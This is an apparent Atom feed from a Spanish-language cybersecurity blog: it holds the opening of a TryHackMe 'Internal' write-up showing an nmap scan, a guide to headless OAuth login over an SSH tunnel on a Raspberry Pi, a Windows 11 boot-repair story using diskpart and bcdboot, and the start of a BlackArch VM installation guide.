<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="es"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://c04tl.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://c04tl.github.io/" rel="alternate" type="text/html" hreflang="es" /><updated>2026-11-12T20:42:55-06:00</updated><id>https://c04tl.github.io/feed.xml</id><title type="html">Página de c04tl</title><subtitle>Ciberseguridad, Linux y CTF.</subtitle><author><name>Luis Medina</name></author><entry><title type="html">Resolución de máquina Internal - TryHackMe</title><link href="https://c04tl.github.io/posts/THM-Internal/" rel="alternate" type="text/html" title="Resolución de máquina Internal - TryHackMe" /><published>2026-11-12T20:00:00-06:00</published><updated>2026-11-12T20:00:00-06:00</updated><id>https://c04tl.github.io/posts/THM-Internal</id><content type="html" xml:base="https://c04tl.github.io/posts/THM-Internal/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Bienvenidos a mi página y a este post donde veremos el recorrido sobre como solucionar la máquina Internal de TryHackMe.
La resolución de esta máquina la realizamos con la comunidad de <strong><a href="https://www.twitch.tv/c04tl">Twitch</a></strong> y de acuerdo con el room, se recomienda crear un reporte de Pentesting.</p>

<p>Nosotros hicimos uno muy, muy sencillo pero aquí pongo el repositorio de github para que lo puedan consultar: <a href="https://github.com/c04tl/Pentest-Report-TryHackMe-Internal">Reporte</a></p>

<p>Para comenzar, tenemos que agregar la dirección IP de la máquina en nuestro archivo <code class="language-plaintext highlighter-rouge">/etc/hosts</code> con el nombre internal.thm.</p>

<h1 id="resolución">Resolución</h1>

<p>Comenznado con la fase de reconocimiento a nivel de red, ejecutamos un escaneo de puertos y servicios utilizando la siguiente linea de comandos:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-sSVC</span> <span class="nt">--min-rate</span> 4000 internal.thm
</code></pre></div></div>

<p>Y aquí hacemos un desgloce de las opciones usadas:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">Pn</code> omite un ping inicial para comprobar el estado del servidor</li>
  <li><code class="language-plaintext highlighter-rouge">n</code> Omite consultar los DNS para hacer la traducción correspondiente</li>
  <li><code class="language-plaintext highlighter-rouge">-p-</code> escaneo todos los puertos 0-65535</li>
  <li><code class="language-plaintext highlighter-rouge">open</code> muestra solo los puertos abiertos en el resultado</li>
  <li><code class="language-plaintext highlighter-rouge">sSVC</code> comprende 3 opciones en una “abreviación”:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">sS</code> escaneo stealth o sigiloso (necesita permisos sudo)</li>
      <li><code class="language-plaintext highlighter-rouge">sV</code> Muestra las versiones de los servicios detectados</li>
      <li><code class="language-plaintext highlighter-rouge">sC</code> ejecuta una serie de scripts para descubrimiento</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">min-rate 4000</code> envia paquetes a una velocidad no menor a 4000 paquetes por segundo</li>
</ul>

<p>Como resultado obtuvimos lo siguiente:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap
</code></pre></div></div>

<p>Comenzando por el puerto <code class="language-plaintext highlighter-rouge">80</code> vamos explorando la aplicación para <strong>Enumerar</strong> detectar su tecnología</p>]]></content><author><name>Luis Medina</name></author><category term="CTF" /><category term="TryHackMe" /><category term="hydra" /><category term="wordpress" /><category term="nmap" /><category term="reverse shell" /><category term="find" /><category term="reverse proxy" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Cómo autenticarse con OAuth sin interfaz gráfica raspberry pi Zero 2W</title><link href="https://c04tl.github.io/posts/OAuth-sin-interfaz-grafica/" rel="alternate" type="text/html" title="Cómo autenticarse con OAuth sin interfaz gráfica raspberry pi Zero 2W" /><published>2026-10-05T09:20:00-06:00</published><updated>2026-11-11T18:45:27-06:00</updated><id>https://c04tl.github.io/posts/OAuth-sin-interfaz-grafica</id><content type="html" xml:base="https://c04tl.github.io/posts/OAuth-sin-interfaz-grafica/"><![CDATA[<h3 id="nivel-de-dificultad-bajo">Nivel de dificultad: Bajo</h3>

<h1 id="introducción">Introducción</h1>

<p>La intención de este post es aprender como podemos autenticarnos con OAuth cuando no tenemos una interfaz gráfica o <a href="https://es.wikipedia.org/wiki/Interfaz_gr%C3%A1fica_de_usuario">GUI</a>, todo en un entorno local.</p>

<h1 id="problema">Problema</h1>
<p>Hace unos días estaba usando codex en un proyecto sobre noticias y necesitaba empezar a usar <a href="https://supabase.com/">supabase</a> como base de datos para los artículos de interés. Este proyecto lo tengo en una Raspberry pi Zero 2W que no tiene un ambiente de escritorio y sólo me conecto por ssh con mi tablet. Todo esto por el bajo consumo energético ;).</p>

<p>Al momento de instalar el pluggin de supabase en Codex, supabase me pide iniciar sesión y darle permisos a codex para manejar las BD y/o proyectos que tenga en mi cuenta, el problema es que codex automáticamente abre un navegador para hacer login y sin interfaz gráfica instalada en mi raspberry, yo no podía darle los permisos por que solo me aparecía esta url y me pedía que la abriera en un navegador.</p>

<p><img src="/assets/img/9-OAuth-sin-GUI/1.png" alt="codex mcp login" /></p>

<p>Como estaba conectado por ssh, intenté abrir el enlace que me mandaba codex en mi tablet, pero en la misma url se puede ver un redirect hacia localhost, es decir, la raspberry. Entonces a pesar de poder abrir el enlace e iniciar sesión en supabase en mi tablet, al momento de autorizar a Codex, el redirect da un error, por otro lado, codex se va a timeout por que nunca recibe respuesta del redirect.</p>

<h1 id="solución">Solución</h1>
<h2 id="prerrequisitos">Prerrequisitos</h2>

<ul>
  <li>Una PC/laptop/tablet</li>
  <li>Conocer la IP de la raspberry</li>
</ul>

<p>Cada que tengo un problema me cuestiono a mí mismo, y en este caso la pregunta fue: ¿Cómo le haré para autenticarme si no tengo interfaz gráfica?</p>

<p>Pensé que la forma más fácil sería con un navegador web por CLI y también pensé cual sería la solución en un entorno productivo controlado o con políticas zero-trust donde es muy dificil poder instalar aplicaciones.</p>

<p>Entonces me replantee la pregunta: ¿De qué forma puedo exponer un “servicio local” de mi raspberry en mi red para que lo vea mi tablet y ahí se mande la respuesta?.</p>

<p>Fue así como recordé el <a href="#"><em>ssh tunneling, ssh port-forwarding</em> o túnel ssh para la raza</a> por que vi su uso en el write-up de una máquina de HTB y dije: “vamos a hacerlo de la forma difícil”.</p>

<p>Para este caso, lo que hice fue:
1) Solicitar la autenticación de supabase
2) Identificar el puerto en la url
3) Crear el túnel ssh en el mismo puerto
4) Abrir la url en el navegador de mi tablet
5) Autenticarme y autorizar a codex</p>

<p>Para que Codex de la url hay que ejecutar ˋcodex mcp login supabaseˋ, al principio me costó trabajo por que me tardaba en modificar la url original que está  codificada en url encode y no me acordé cuales eran los caracteres codificados, pero con ayuda de cyberchef, copié esta parte de la url:</p>

<p>Decodifiacando tenemos que<code class="language-plaintext highlighter-rouge">%3A</code> = <code class="language-plaintext highlighter-rouge">:</code> y <code class="language-plaintext highlighter-rouge">%2F</code> = <code class="language-plaintext highlighter-rouge">/</code>y entre estos 2 caracteres viene el puerto, en mi caso fue 34733. Saber esto es necesario para crear el túnel local, y para crearlo usé la siguiente línea de comandos que explicaré con más detalle.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-L</span> 34733:127.0.0.1:34733 c04tl@192.168.1.65
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-L</code> le dice a ssh que se trata de un tunel local.
<code class="language-plaintext highlighter-rouge">34733</code> es el puerto donde se espera la respuesta.
<code class="language-plaintext highlighter-rouge">127.0.0.1:34733</code> le dice a ssh que inicie el tunel en mi tablet por el puerto 34733.
<code class="language-plaintext highlighter-rouge">c04tl@192.168.1.65</code> es el usuario y la IP de mi raspberry.</p>

<p>Ahora si abro la url en mi tablet, me pedirá iniciar sesión en supabase para autorizar a codex, después de poner nuestras credenciales terminará el proceso y saldrá este mensaje.</p>

<p><img src="/assets/img/9-OAuth-sin-GUI/2.png" alt="Autenticación completada" /></p>

<h1 id="validación">Validación</h1>
<p>Para validar que Codex ya se conectó a Supabase, ejecuté <code class="language-plaintext highlighter-rouge">codex mcp list</code> y se imprime esta lista confirmando que ya está habilitado y autenticado.</p>

<h1 id="errores-comunes">Errores comunes</h1>

<p>Cada que se ejecuta <code class="language-plaintext highlighter-rouge">codex mcp login supabase</code> la url cambia al igual que el puerto local que espera la respuesta, por eso tienes que confirmar el puerto del túnel.</p>

<h1 id="conclusiones">Conclusiones</h1>
<p>Instalar herramientas de terceros que faciliten este tipo de actividades de autenticación y/o autorización puede ser el camino más facil, sin embargo, en entornos productivos puede resultar muy difícil por las limitaciones como la interfaz gráfica, restricciones de instalación de software y/o auditorias normativas, por lo que esta opción puede resultar útil ya que se usan herramientas nativas del sistema operativo además de crear una conexión de “un solo uso” a través de un canal cifrado.</p>]]></content><author><name>Luis Medina</name></author><category term="Tutorial" /><category term="DIY" /><category term="ssh" /><category term="linux" /><category term="networking" /><category term="bash" /><category term="ssh-tunnel" /><category term="codex" /><category term="supabase" /><summary type="html"><![CDATA[Nivel de dificultad: Bajo]]></summary></entry><entry><title type="html">Reparando Windows 11 qué no arranca</title><link href="https://c04tl.github.io/posts/Error-Windows11/" rel="alternate" type="text/html" title="Reparando Windows 11 qué no arranca" /><published>2026-02-12T10:50:00-06:00</published><updated>2026-02-12T22:46:49-06:00</updated><id>https://c04tl.github.io/posts/Error-Windows11</id><content type="html" xml:base="https://c04tl.github.io/posts/Error-Windows11/"><![CDATA[<h1 id="contexto">Contexto</h1>

<p>En este post les contaré qué tienen en común, unas boneless, un colchón nuevo y mi laptop con windows 11 qué dejó de funcionar por que quedó sin archivos de arranque. Y tal vez te estés preguntando: “¿Unas boneless y un windows 11 corrupto?”
Y la respuesta es Sí, si tienen relación.</p>

<p>Les cuento por que resulta y resalta, que el día Jueves 4 de Agosto, ya se acercaba la hora de salida de  mi trabajo y en eso mi roomie me mandó un meme buenísimo, aquí la evidencia:</p>

<p><img src="/assets/img/8_Reparando-Windows11/1.jpg" alt="Sabor BIOS" /></p>

<p>Despues me preguntó si yo tenía plan y si quería acompañarla para buscar un regalo para el cumpleaños del novio de una de sus amigas y terminando de comprar el regalo pasáramos a cenar alitas.
No les voy a mentir, mi plan era llegar, jugar Age of Empires, luego escribir un post qué ya había empezado tomo mientras estrenaba mi colchón nuevo por que unos 15 días atrás lo compré  y me lo trajeron el 3 de agosto.</p>

<p>Continuando con la historia, le dije a mi roomie que sí y entonces regresé rápido al departamento, me cambié y fuimos a buscar el regalo
Pasamos a una tienda de ropa en busca de una playera “minimalista” sencilla, pero solo encontrábamos oversized y no le gustaban, estuvimos buscando un rato y al fin dimos con la elegida</p>

<p>Ya con eso, fuimos a buscar una gorra pero ahí fallamos por que no habían gorras cool, solo eran lisas y sin estampados entonces quisimos buscar calcetines pero tampoco tenían imágenes o diseños padres, 
Entonces solo buscamos un par de calcetines pero lo que si encontramos fue esta chamarra de Pókemon súper padre el diseño, y puse una encuesta en instagram:</p>

<p><img src="/assets/img/8_Reparando-Windows11/2.jpg" alt="Chamarra pokémon" /></p>

<p>La mayoría votó qué si me quedaba, y créanme qué tuve una tentación inmensa pior comprármelo y ponérsela a mi gatita toda una maestra pokemón &lt;3, pero resistí y no la compré. Después salimos de la tienda con los regalos y luego fuimos buscar de cenar, estabamos entre sushi y alitas y al final comimos boneless en el wings academy</p>

<p>Había una promo de 20 alítas, pedimos BBQ y Louissiana, a mí me gustan mucho las louisiana entonces me las acabé por que estaban muy picositas para mi roomie, terminé super lleno y me pegó durísimo el mal del puerco jajaja.</p>

<p>Ya que llegamos a casa, era un poco tarde pero me lavé mis dientes y me hice mi skin care, fui a mi cuarto me acosté y me dije: “Puedo escribir un ratito el post que estaba escribiendo ayer”, entonces fui por mi lap, me volví a acostar y en la comodidad de nuevo colchón me sentí muy cansado, entonces dije: “mejor me duermo y descanso”, dejé mi lap a un lado y me quedé super dormido, dormí como 9 horas y media. Al otro día estaba super bien descansado y en la tarde prendí la lap y me salió una nuncio de la BIOS diciendo que se le había acabado la batería, la conecté y le di continuar.</p>

<h1 id="problema">Problema</h1>

<p>Al otro día cuando la prendí y terminó ded prender, me pedía seleccionar un idioma y después me daba un menu de recuperación pero ninguna de las opciones arreglaba el problema, la unica que funcionaba era la de abrir un interprete de comandos.</p>

<p><img src="/assets/img/8_Reparando-Windows11/4.jpg" alt="cmd" />
<img src="/assets/img/8_Reparando-Windows11/5.jpg" alt="cmd" />
<img src="/assets/img/8_Reparando-Windows11/6.jpg" alt="cmd" /></p>

<p>Despues de reiniciar varias veces e intentar todos los métodos del menú yo ya estaba pensando que iba a tener que formatear la lap y todo lo que implica formatear: respaldar, formatear, configurar cuentas, configurar perfiles, instalar aplicaciones, etc. etc.</p>

<p>Pero entonces se me ocurrió buscar un tutorial en youtube, y después de varias busquedas y tutoriales sin funcionar, dí con el bueno, el elegido jajajaja.</p>

<p>Para mi fortuna el video está en español, y es muy conciso, todos los créditos para el autor: <a href="https://www.youtube.com/watch?v=J53B8yziVAE">INFORMÁTICA FÁCIL</a></p>

<p>Mi hipotesis sobre el problema es que mientras se estaban actualizando archivos de arranque o algún componente del inicio de windows, se le acabó la batería a la laptop y esto corrompió los archivos o no terminaron de escribirse y por eso no sabía que archivos cargar</p>

<h1 id="solución">Solución</h1>

<p>Para arreglar este problema se ejecutan una serie de comandos desde la opción de consola de comandos del arranque de windows, investigando sobre que son y que hace cada uno de estos comandos, encontré que. . .</p>

<ul>
  <li>DISKPART es un gestor de discos, particiones y volumenes</li>
  <li>bootsect permite reescribir el código de arranque de windows</li>
  <li>bcdboot se usa para reconstruir BCD (Boot Configuration Data) cuando Windows no arranca.
. . .</li>
</ul>

<p>Vamos a empezar el tutorial asumiendo que ya tenemos una consola de comandos iniciada. El primer comando que ejecutamos es <code class="language-plaintext highlighter-rouge">diskpart</code>, una herramienta que es una navaja suiza para discos y particiones en wuindows que nos deja administrar dicos, particiones y volumenes.</p>

<pre><code class="language-prompt">diskpart
</code></pre>

<p>Al ejecutar está línea de comandos, “entramos” al menú de diskpart, lo sabrás por que vas a ver el prompt <code class="language-plaintext highlighter-rouge">DISKPART&gt;</code>, ahí escribimos <code class="language-plaintext highlighter-rouge">list disk</code> y nos aparecerán todos los discos que están instalados, después seleccionamos el numero del disco con el que vamos a trabajar, en mi caso es el disco 0: <code class="language-plaintext highlighter-rouge">select disk 0</code>, escribimos otra vez <code class="language-plaintext highlighter-rouge">list disk</code> y veremos el disco seleccionado con un asterisco dedl lado izquierdo:</p>

<p><img src="/assets/img/8_Reparando-Windows11/7.jpg" alt="diskpart" /></p>

<p>Ahora vamos a ver las particiones que tiene este disco con <code class="language-plaintext highlighter-rouge">list part</code>, seleccionamos la partición de tipo “sistema” con su numero, en mi caso <code class="language-plaintext highlighter-rouge">select part 1</code></p>

<p><img src="/assets/img/8_Reparando-Windows11/8.jpg" alt="select part" /></p>

<p>En esta parte tenemos que seleccionar el volumen con el mismo tamaño que la partición para formatearlo con el sistema de archivos <code class="language-plaintext highlighter-rouge">fat32</code>, para eso hacemos lo siguiente:</p>

<ol>
  <li>Usamos <code class="language-plaintext highlighter-rouge">list vol</code> para ver los volumenes</li>
  <li>Asignamos una letra de unidad con <code class="language-plaintext highlighter-rouge">assign letter=X</code></li>
  <li>Volvemos a hacer un <code class="language-plaintext highlighter-rouge">list vol</code></li>
  <li>Con el volumen seleccionado ejecutamos <code class="language-plaintext highlighter-rouge">format override fs=fat32</code></li>
</ol>

<blockquote>
  <p>En caso de que el volumen no esté seleccionado ejecutamos <code class="language-plaintext highlighter-rouge">select vol N</code></p>
</blockquote>

<p><img src="/assets/img/8_Reparando-Windows11/9.jpg" alt="list vol" /></p>

<p><img src="/assets/img/8_Reparando-Windows11/10.jpg" alt="Select vol" /></p>

<p>Ahora salimos de DISKPART ejecutando <code class="language-plaintext highlighter-rouge">exit</code>, luego entramos a la unidad que acabamos de formatear, eso lo hacemos escribiendo la letra y <code class="language-plaintext highlighter-rouge">:</code>, en mi caso <code class="language-plaintext highlighter-rouge">F:</code>, dentro de la unidad vamos a usar la herramienta <code class="language-plaintext highlighter-rouge">bootsect</code> para reescribir el código de arranque y pueda iniciar windows, para eso ejecutamos <code class="language-plaintext highlighter-rouge">bootsect /nt60 all /force</code></p>

<p><img src="/assets/img/8_Reparando-Windows11/11.jpg" alt="bootsect" /></p>

<p>Hasta aquí ya se actualizaron los discos donde va a puntar el código de arranque de MOOTMGR pero falta crear los archivos de arranque para que la pc sepa que SO va a iniciar, para eso ejecutamos <code class="language-plaintext highlighter-rouge">bcdboot C:\windows /s F: /f all</code></p>

<p><img src="/assets/img/8_Reparando-Windows11/12.jpg" alt="bcdboot" /></p>

<p>Ahora ejecutamos <code class="language-plaintext highlighter-rouge">exit</code>, esto nos regresa al menú principal y ahora sí nos aparecen todas las opciones de arranque avanzado y ya podemos seleccionar la opción “salir y continuar con Windows 10”.</p>

<p><img src="/assets/img/8_Reparando-Windows11/13.jpg" alt="DELL" /></p>

<p><img src="/assets/img/8_Reparando-Windows11/14.jpg" alt="Windows" /></p>

<h1 id="conclusiones">Conclusiones</h1>

<p>Este error <strong>NUNCA</strong> me había pasado y es relativamente sencillo reparar windows con herramientas que ya trae el propio SO, además de eso, tambien aprendí a tener paciencia y analizar con más detenimiento el error antes de asumir lo peor, en este caso pasar por todo el proceso de recuperar mis archivos, formatear y luego dejar mi lap como me gusta.</p>]]></content><author><name>Luis Medina</name></author><category term="Tutorial" /><category term="DIY" /><category term="windows" /><category term="cmd" /><category term="command prompt" /><summary type="html"><![CDATA[Contexto En este post les contaré qué tienen en común, unas boneless, un colchón nuevo y mi laptop con windows 11 qué dejó de funcionar por que quedó sin archivos de arranque. Y tal vez te estés preguntando: “¿Unas boneless y un windows 11 corrupto?” Y la respuesta es Sí, si tienen relación. Les cuento por que resulta y resalta, que el día Jueves 4 de Agosto, ya se acercaba la hora de salida de mi trabajo y en eso mi roomie me mandó un meme buenísimo, aquí la evidencia: Despues me preguntó si yo tenía plan y si quería acompañarla para buscar un regalo para el cumpleaños del novio de una de sus amigas y terminando de comprar el regalo pasáramos a cenar alitas. No les voy a mentir, mi plan era llegar, jugar Age of Empires, luego escribir un post qué ya había empezado tomo mientras estrenaba mi colchón nuevo por que unos 15 días atrás lo compré y me lo trajeron el 3 de agosto. Continuando con la historia, le dije a mi roomie que sí y entonces regresé rápido al departamento, me cambié y fuimos a buscar el regalo Pasamos a una tienda de ropa en busca de una playera “minimalista” sencilla, pero solo encontrábamos oversized y no le gustaban, estuvimos buscando un rato y al fin dimos con la elegida Ya con eso, fuimos a buscar una gorra pero ahí fallamos por que no habían gorras cool, solo eran lisas y sin estampados entonces quisimos buscar calcetines pero tampoco tenían imágenes o diseños padres, Entonces solo buscamos un par de calcetines pero lo que si encontramos fue esta chamarra de Pókemon súper padre el diseño, y puse una encuesta en instagram: La mayoría votó qué si me quedaba, y créanme qué tuve una tentación inmensa pior comprármelo y ponérsela a mi gatita toda una maestra pokemón &lt;3, pero resistí y no la compré. Después salimos de la tienda con los regalos y luego fuimos buscar de cenar, estabamos entre sushi y alitas y al final comimos boneless en el wings academy Había una promo de 20 alítas, pedimos BBQ y Louissiana, a mí me gustan mucho las louisiana entonces me las acabé por que estaban muy picositas para mi roomie, terminé super lleno y me pegó durísimo el mal del puerco jajaja. Ya que llegamos a casa, era un poco tarde pero me lavé mis dientes y me hice mi skin care, fui a mi cuarto me acosté y me dije: “Puedo escribir un ratito el post que estaba escribiendo ayer”, entonces fui por mi lap, me volví a acostar y en la comodidad de nuevo colchón me sentí muy cansado, entonces dije: “mejor me duermo y descanso”, dejé mi lap a un lado y me quedé super dormido, dormí como 9 horas y media. Al otro día estaba super bien descansado y en la tarde prendí la lap y me salió una nuncio de la BIOS diciendo que se le había acabado la batería, la conecté y le di continuar. Problema Al otro día cuando la prendí y terminó ded prender, me pedía seleccionar un idioma y después me daba un menu de recuperación pero ninguna de las opciones arreglaba el problema, la unica que funcionaba era la de abrir un interprete de comandos. Despues de reiniciar varias veces e intentar todos los métodos del menú yo ya estaba pensando que iba a tener que formatear la lap y todo lo que implica formatear: respaldar, formatear, configurar cuentas, configurar perfiles, instalar aplicaciones, etc. etc. Pero entonces se me ocurrió buscar un tutorial en youtube, y después de varias busquedas y tutoriales sin funcionar, dí con el bueno, el elegido jajajaja. Para mi fortuna el video está en español, y es muy conciso, todos los créditos para el autor: INFORMÁTICA FÁCIL Mi hipotesis sobre el problema es que mientras se estaban actualizando archivos de arranque o algún componente del inicio de windows, se le acabó la batería a la laptop y esto corrompió los archivos o no terminaron de escribirse y por eso no sabía que archivos cargar Solución Para arreglar este problema se ejecutan una serie de comandos desde la opción de consola de comandos del arranque de windows, investigando sobre que son y que hace cada uno de estos comandos, encontré que. . . DISKPART es un gestor de discos, particiones y volumenes bootsect permite reescribir el código de arranque de windows bcdboot se usa para reconstruir BCD (Boot Configuration Data) cuando Windows no arranca. . . . Vamos a empezar el tutorial asumiendo que ya tenemos una consola de comandos iniciada. El primer comando que ejecutamos es diskpart, una herramienta que es una navaja suiza para discos y particiones en wuindows que nos deja administrar dicos, particiones y volumenes. diskpart Al ejecutar está línea de comandos, “entramos” al menú de diskpart, lo sabrás por que vas a ver el prompt DISKPART&gt;, ahí escribimos list disk y nos aparecerán todos los discos que están instalados, después seleccionamos el numero del disco con el que vamos a trabajar, en mi caso es el disco 0: select disk 0, escribimos otra vez list disk y veremos el disco seleccionado con un asterisco dedl lado izquierdo: Ahora vamos a ver las particiones que tiene este disco con list part, seleccionamos la partición de tipo “sistema” con su numero, en mi caso select part 1 En esta parte tenemos que seleccionar el volumen con el mismo tamaño que la partición para formatearlo con el sistema de archivos fat32, para eso hacemos lo siguiente: Usamos list vol para ver los volumenes Asignamos una letra de unidad con assign letter=X Volvemos a hacer un list vol Con el volumen seleccionado ejecutamos format override fs=fat32 En caso de que el volumen no esté seleccionado ejecutamos select vol N Ahora salimos de DISKPART ejecutando exit, luego entramos a la unidad que acabamos de formatear, eso lo hacemos escribiendo la letra y :, en mi caso F:, dentro de la unidad vamos a usar la herramienta bootsect para reescribir el código de arranque y pueda iniciar windows, para eso ejecutamos bootsect /nt60 all /force Hasta aquí ya se actualizaron los discos donde va a puntar el código de arranque de MOOTMGR pero falta crear los archivos de arranque para que la pc sepa que SO va a iniciar, para eso ejecutamos bcdboot C:\windows /s F: /f all Ahora ejecutamos exit, esto nos regresa al menú principal y ahora sí nos aparecen todas las opciones de arranque avanzado y ya podemos seleccionar la opción “salir y continuar con Windows 10”. Conclusiones Este error NUNCA me había pasado y es relativamente sencillo reparar windows con herramientas que ya trae el propio SO, además de eso, tambien aprendí a tener paciencia y analizar con más detenimiento el error antes de asumir lo peor, en este caso pasar por todo el proceso de recuperar mis archivos, formatear y luego dejar mi lap como me gusta.]]></summary></entry><entry><title type="html">Personalización de blackarch</title><link href="https://c04tl.github.io/posts/BlackArch-custom/" rel="alternate" type="text/html" title="Personalización de blackarch" /><published>2023-01-04T11:00:00-06:00</published><updated>2023-01-04T11:00:00-06:00</updated><id>https://c04tl.github.io/posts/BlackArch-custom</id><content type="html" xml:base="https://c04tl.github.io/posts/BlackArch-custom/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>En este primer articulo del año 2023 veremos como instalar y personalizar un entorno de hacking profesional comenzando por la instalación del sistema operativo <a href="https://archlinux.org/">Arch Linux</a> y toda la configuración necesaria como el idioma, la distribución de teclado, el gestor de paquetes <a href="https://aur.archlinux.org/packages/paru">Paru</a> y un gestor de ventanas que hará que nuestra máquina no consuma tantos recursos además de ser súper personalizable. Después convertiremos nuestro sistema en un <a href="https://www.blackarch.org/">Black Arch</a> con ayuda del script oficial de esta distribución y finalmente instalaremos algunos paquetes “escenciales” para poder realizar un pentest o hackeo ético en las plataformas <a href="https://www.hackthebox.com/">Hack The Box</a>, <a href="https://tryhackme.com/">Try Hack Me</a> o en cualquier entorno “real”. Es importatne mencionar que partiremos este tutorial tomando en cuenta que ya debemos tener instalado <a href="https://www.virtualbox.org/">VirtualBox</a> o <a href="https://www.vmware.com/">VMWare</a> según sea nuestra preferencia ya que solo hacen falta unas pequeñas modificaciones para que funcione correctamente.</p>

<h2 id="descarga-de-arch-linux-y-creación-de-máquina-virtual">Descarga de arch Linux y creación de máquina virtual</h2>
<p>Comenzamos este tutorial descargando desde la <a href="https://archlinux.org/download/">página oficial de Arch</a> la imagen iso para la instalación, una vez descargada crearemos nuestra máquina virtual con las siguientes especificaciones:</p>

<ul>
  <li>20 GB de disco duro (se puede modificar de acuerdo al uso que le daremos)</li>
  <li>2 GB de memoria RAM</li>
  <li>Firmware EFI</li>
</ul>

<h3 id="para-virtualbox">Para VirtualBox</h3>
<p>Crearemos la máquina seleccionando el botón añadir (1), asiganmos el nombre (2), seleccionamos la carpeta donde se guardará la máquina (3), seleccionamos la ruta de la imagen ISO (4) y damos click en <code class="language-plaintext highlighter-rouge">Next</code>.</p>

<p><img src="/assets/img/7-BlackArch-custom/1.png" alt="Añadir" /></p>

<p>Asignamos memoria RAM (1), procesadores (2) y activamos el Firmware EFI (3)</p>

<p><img src="/assets/img/7-BlackArch-custom/2.png" alt="Recursos" /></p>

<p>Asignamos el tamaño del disco y con esto finalizamos la creación de la máquina</p>

<p><img src="/assets/img/7-BlackArch-custom/3.png" alt="Disco" /></p>

<h3 id="para-vmware">Para VMware</h3>

<p>Crearemos la máquina normalmente y después iremos a la carpeta donde se crearon los archivos de la máquina virtual, en mi caso están en <code class="language-plaintext highlighter-rouge">Documentos/Virtual Machines/BlackArch</code>, aquí abriremos el archivo con extensión <code class="language-plaintext highlighter-rouge">.vmx</code></p>

<p><img src="/assets/img/7-BlackArch-custom/4.png" alt="archivo.vmx" /></p>

<p>Abrimos  este archivo con cualquier editor de texto y añadimos la siguiente línea: <code class="language-plaintext highlighter-rouge">firmware="efi"</code></p>

<p><img src="/assets/img/7-BlackArch-custom/5.png" alt="firmware EFI" /></p>

<p>Guardamos y listo.</p>

<h2 id="particionado-de-disco">Particionado de disco</h2>
<p>Después de hacer las modificaciones anteriores encenderemos la máquina virtual, a continuación, tomaremos en cuenta 3 particiones: <code class="language-plaintext highlighter-rouge">sda1</code> como la partición de arranque, <code class="language-plaintext highlighter-rouge">sda2</code>  será la partición donde se instalará nuestro sistema y herramientas por lo que si asignamos más de 20GB a nuestra máquina esta partición será de mayor tamaño, finalmente la partición <code class="language-plaintext highlighter-rouge">sda3</code> se habilitará como memoria de intercambio por lo que cambiará de acuerdo a sus preferencias.</p>

<p>Para crear las particiones utilizaremos <code class="language-plaintext highlighter-rouge">cfdisk</code> y el siguiente esquema:</p>

<ul>
  <li>sda1 300M</li>
  <li>sda2 18.5G o el espacio de su elección</li>
  <li>sda3 1.2G</li>
</ul>

<p>Ahora solo ejecutamos <code class="language-plaintext highlighter-rouge">cfdisk</code> en la terminal y seleccionamos la opción <code class="language-plaintext highlighter-rouge">gpt</code> :</p>

<p><img src="/assets/img/7-BlackArch-custom/6.png" alt="cfdisk" /></p>

<p>Después nos aparecerá la siguiente pantalla donde seleccionaremos la opción <code class="language-plaintext highlighter-rouge">New</code></p>

<p><img src="/assets/img/7-BlackArch-custom/7.png" alt="Primera partición" /></p>

<p>En la parte inferior escribimos <code class="language-plaintext highlighter-rouge">300m</code>, damos enter y con esto se creará la partición <code class="language-plaintext highlighter-rouge">sda1</code>, ahora con las flechas del teclado seleccionamos <code class="language-plaintext highlighter-rouge">Free space</code>(1) y de nuevo seleccionamos <code class="language-plaintext highlighter-rouge">New</code>(2)</p>

<p><img src="/assets/img/7-BlackArch-custom/8.png" alt="Segunda partición" /></p>

<p>Asignamos <code class="language-plaintext highlighter-rouge">18.5G</code> o el tamaño que deseemos y con esto habremos creado la partición <code class="language-plaintext highlighter-rouge">sda2</code>. Finalmente seleccionamos <code class="language-plaintext highlighter-rouge">Free space</code>(1) y <code class="language-plaintext highlighter-rouge">New</code>(2).</p>

<p><img src="/assets/img/7-BlackArch-custom/9.png" alt="Tercera partición" /></p>

<p>Para esta última parición asignamos el espacio restante (en mi caso 1.2GB), después de crear esta partición seleccionamos <code class="language-plaintext highlighter-rouge">/dev/sda1</code>(1) y seleccionamos la opción <code class="language-plaintext highlighter-rouge">Type</code>(2) del menú inferior.</p>

<p><img src="/assets/img/7-BlackArch-custom/10.png" alt="Tipo de la primera partición" /></p>

<p>En el siguiente menú seleccionamos la opción <code class="language-plaintext highlighter-rouge">EFI System</code>.</p>

<p><img src="/assets/img/7-BlackArch-custom/11.png" alt="EFI system" /></p>

<p>Ahora seleccionamos la partición <code class="language-plaintext highlighter-rouge">/dev/sda3</code>(1) y seleccionamos la opción <code class="language-plaintext highlighter-rouge">Type</code>(2)</p>

<p><img src="/assets/img/7-BlackArch-custom/12.png" alt="Tipo de la tercera partición" /></p>

<p>Para esta partición seleccionamos <code class="language-plaintext highlighter-rouge">Linux swap</code></p>

<p><img src="/assets/img/7-BlackArch-custom/13.png" alt="Linux swap" /></p>

<p>Seleccionamos la opción <code class="language-plaintext highlighter-rouge">Write</code>(1) en la parte inferior para escribir los cambios en las particiones.</p>

<p><img src="/assets/img/7-BlackArch-custom/14.png" alt="Write partitions" /></p>

<p>Escribimos <code class="language-plaintext highlighter-rouge">yes</code> para confirmar.</p>

<p><img src="/assets/img/7-BlackArch-custom/15.png" alt="Claro que yes" /></p>

<p>Finalmente seleccionamos <code class="language-plaintext highlighter-rouge">Quit</code> para salir de <code class="language-plaintext highlighter-rouge">cfdisk</code>.</p>

